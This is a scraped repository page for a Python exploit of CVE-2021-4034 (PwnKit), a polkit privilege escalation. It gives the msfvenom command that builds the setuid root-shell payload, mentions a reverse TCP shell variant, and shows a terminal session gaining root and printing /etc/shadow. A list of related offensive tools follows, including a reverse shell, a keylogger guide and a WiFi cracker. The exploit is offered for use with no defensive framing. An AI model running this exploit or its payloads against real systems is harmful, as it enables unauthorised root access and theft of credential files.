Python exploit code for CVE-2021-4034 (pwnkit)

Last update: Dec 29, 2022

Overview

Python3 code to exploit CVE-2021-4034 (PWNKIT). This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs.

The default payload starts a shell as root, generated from msfvenom:

msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64

I've tested linux/x64/shell_reverse_tcp as well. Make sure you include the PrependSetuid=true argument to msfvenom, otherwise you'll just get a shell as the user and not root.

The code is cribbed from blasty, the orginal is available here

$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#

Python exploit code for CVE-2021-4034 (pwnkit)

Related tags

Overview

Owner

Joe Ammond

This repo is about steps to create a effective custom wordlist in a few clicks/

Blinder is a tool that will help you simplify the exploitation of blind SQL injection

Web Headers Security Scanner

An auxiliary tool for iot vulnerability hunter

A Modified version of TCC's Osprey poc framework......

2021hvv漏洞汇总

A cross-platform Python module that displays **** for password input. Works on Windows, unlike getpass. Formerly called stdiomask.

A simple password generator using Python Tkinter.

Looks at Python code to search for things which look "dodgy" such as passwords or diffs

A guide to building basic malware in Python by implementing a keylogger application

This program is a WiFi cracker, you can test many passwords for a desired wifi to find the wifi password!

Files related to PoC||GTFO 21:21 - NSA’s Backdoor of the PX1000-Cr

Bypass's HCaptcha by overloading their api causing it to throwback a generated uuid. (Released due to exposure)

A python tool capable of creating HUGE wordlists. Has the ability to add custom words for concatenation in any way you see fit.

PoC for CVE-2021-26855 -Just a checker-

♻️ Password Generator (PSG) 📚 This plugin is made for more familiarity with Python, but can also be used to create passwords

Log4j rce test environment and poc

An advanced multi-threaded, multi-client python reverse shell for hacking linux systems

Analyse a forensic target (such as a directory) to find and report files found and not found from CIRCL hashlookup public service

hackinsta: a program to hack instagram